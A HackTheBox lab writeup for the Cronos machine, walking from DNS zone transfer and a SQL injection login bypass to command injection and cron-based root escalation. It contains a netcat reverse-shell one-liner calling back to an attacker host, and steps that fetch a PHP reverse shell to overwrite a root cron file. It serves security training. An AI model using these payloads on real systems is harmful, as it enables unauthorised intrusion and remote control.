Cronos - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Cronos is a medium-difficulty Linux machine that emphasizes thorough enumeration and DNS reconnaissance. The attack surface includes a SQL injection vulnerability in an administrator login panel and a command injection flaw in a network diagnostic utility. The privilege escalation path exploits a world-writable PHP file executed by a root cron job. This machine effectively demonstrates the real-world risks of misconfigured cron jobs and inadequate input validation. TL;DR: DNS zone transfer → admin subdomain discovery → SQL injection bypass → command injection RCE → cron job exploitation with writable PHP file → root shell.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.13

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
53/tcp open  domain  ISC BIND 9.10.3
80/tcp open  http    Apache httpd 2.4.18

The machine hosts three key services: SSH, DNS (BIND), and a web server. The default Apache page is initially displayed on port 80.

Service Enumeration

DNS Enumeration:

The DNS service running on port 53 provides an entry point for domain discovery. Using nslookup to query the machine’s DNS records reveals the domain name:

nslookup 10.10.10.13 10.10.10.13

This reveals the domain cronos.htb. Update /etc/hosts to include this mapping:

echo "10.10.10.13 cronos.htb" >> /etc/hosts

Zone Transfer Attempt:

Perform a DNS zone transfer to enumerate subdomains:

dig axfr @10.10.10.13 cronos.htb

This reveals additional subdomains including admin.cronos.htb. Add this to /etc/hosts:

echo "10.10.10.13 admin.cronos.htb" >> /etc/hosts

Web Service Enumeration:

Browsing to http://admin.cronos.htb reveals an administrator login panel, the primary attack vector for initial access.

Vulnerability Assessment

• SQL Injection: The administrator login form lacks proper input sanitization on the username field
• Command Injection: The welcome page (welcome.php) executes unsanitized user input in shell commands
• Cron Job Misconfiguration: A world-writable PHP file is executed as root via cron
• Insufficient Access Controls: The /var/www/laravel/artisan file has overly permissive permissions

Initial Foothold

Exploitation Path

Step 1: SQL Injection Bypass

The login form is vulnerable to SQL injection. By injecting a comment sequence in the username field, we can bypass authentication:

Username: admin'-- -
Password: (any value)

The SQL statement becomes:

SELECT * FROM users WHERE username='admin'-- -' AND password='...'

The -- - sequence comments out the password check, allowing unauthorized login as the admin user.

Step 2: Command Injection Discovery

After login, the welcome page presents a network diagnostic interface. Testing the welcome.php page reveals command injection vulnerability. The application uses the host parameter in a shell command context.

Step 3: Exploiting Command Injection

While direct command injection is blocked by execution limits, we can intercept the request using Burp Suite and modify the POST data to inject arbitrary commands:

# Intercepted request payload modification
# Original: host=10.10.10.13&submit=Traceroute
# Modified: Remove the host variable entirely and inject reverse shell

Construct a reverse shell payload:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 4444 >/tmp/f

URL encode and send via Burp Suite POST request to bypass execution filters.

Step 4: Reverse Shell Connection

On your attacking machine, set up a netcat listener:

nc -nvlp 4444

When the payload executes, you receive a shell as the www-data user.

Step 5: User Flag

Retrieve the user flag from the www-data user’s accessible location:

cat /home/noulis/user.txt

Privilege Escalation

Exploitation Path

Step 1: Enumeration Script Execution

Run LinEnum to identify privilege escalation vectors:

# On attacking machine, serve LinEnum via Python
cd /path/to/linenum
python3 -m http.server 8000

# On target machine
cd /tmp
wget http://10.10.14.X:8000/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

LinEnum reveals that /var/www/laravel/artisan is executed as a cron job under user root.

Step 2: Permission Analysis

Check the file permissions:

ls -ls /var/www/laravel/artisan

Output shows the file is writable by the www-data user (world-writable for the web server process).

Step 3: PHP Reverse Shell Preparation

Download a PHP reverse shell template and customize it with your attacker IP and port:

# On attacking machine
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
# Edit the shell to set $ip and $port variables
nano php-reverse-shell.php
python3 -m http.server 8000

Step 4: Reverse Shell Replacement

Download the malicious PHP file to the target machine:

cd /tmp
wget http://10.10.14.X:8000/php-reverse-shell.php

Replace the original artisan file with the reverse shell:

mv /tmp/php-reverse-shell.php /var/www/laravel/artisan

Step 5: Root Shell Acquisition

Start a netcat listener on your attacking machine with the port specified in the reverse shell:

nc -nvlp 1234

Wait for the cron job to execute (typically within one minute). The cron daemon will execute /var/www/laravel/artisan as root, triggering the reverse shell callback.

Step 6: Root Flag

Once you receive the root shell, retrieve the root flag:

cat /root/root.txt

Attack Chain Summary

DNS Zone Transfer (dig axfr)
    ↓
Subdomain Discovery (admin.cronos.htb)
    ↓
SQL Injection Bypass (admin'-- -)
    ↓
Command Injection (welcome.php)
    ↓
Reverse Shell as www-data
    ↓
Enumeration (LinEnum)
    ↓
World-Writable Cron File Discovery (/var/www/laravel/artisan)
    ↓
PHP Reverse Shell Injection
    ↓
Root Shell via Cron Execution

Tools Used

Key Learnings

Techniques Practiced

• DNS reconnaissance and zone transfer attacks
• SQL injection in authentication forms
• Command injection via unsanitized user input
• HTTP request manipulation using proxy tools
• Reverse shell generation and deployment
• Cron job exploitation through file permissions
• Automated privilege escalation enumeration

Lessons Learned

1. DNS is critical reconnaissance. Zone transfers can reveal internal infrastructure and subdomains that wouldn’t otherwise be visible. Always attempt zone transfers when DNS is accessible.

2. Input validation is non-negotiable. Both SQL injection and command injection stem from insufficient input sanitization. Parameterized queries and shell escaping are fundamental security practices.

3. File permissions matter at scale. A single world-writable system file executed by root can compromise the entire machine. Regular permission audits are essential for production systems.

4. Defense in depth is essential. While the command injection was partially restricted, attackers can often bypass filters through proxy interception and manual request crafting.

5. Cron jobs amplify risk. Combining a writable file with a privileged cron job creates an automatic privilege escalation pathway. Cron jobs should execute the minimum necessary permissions.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>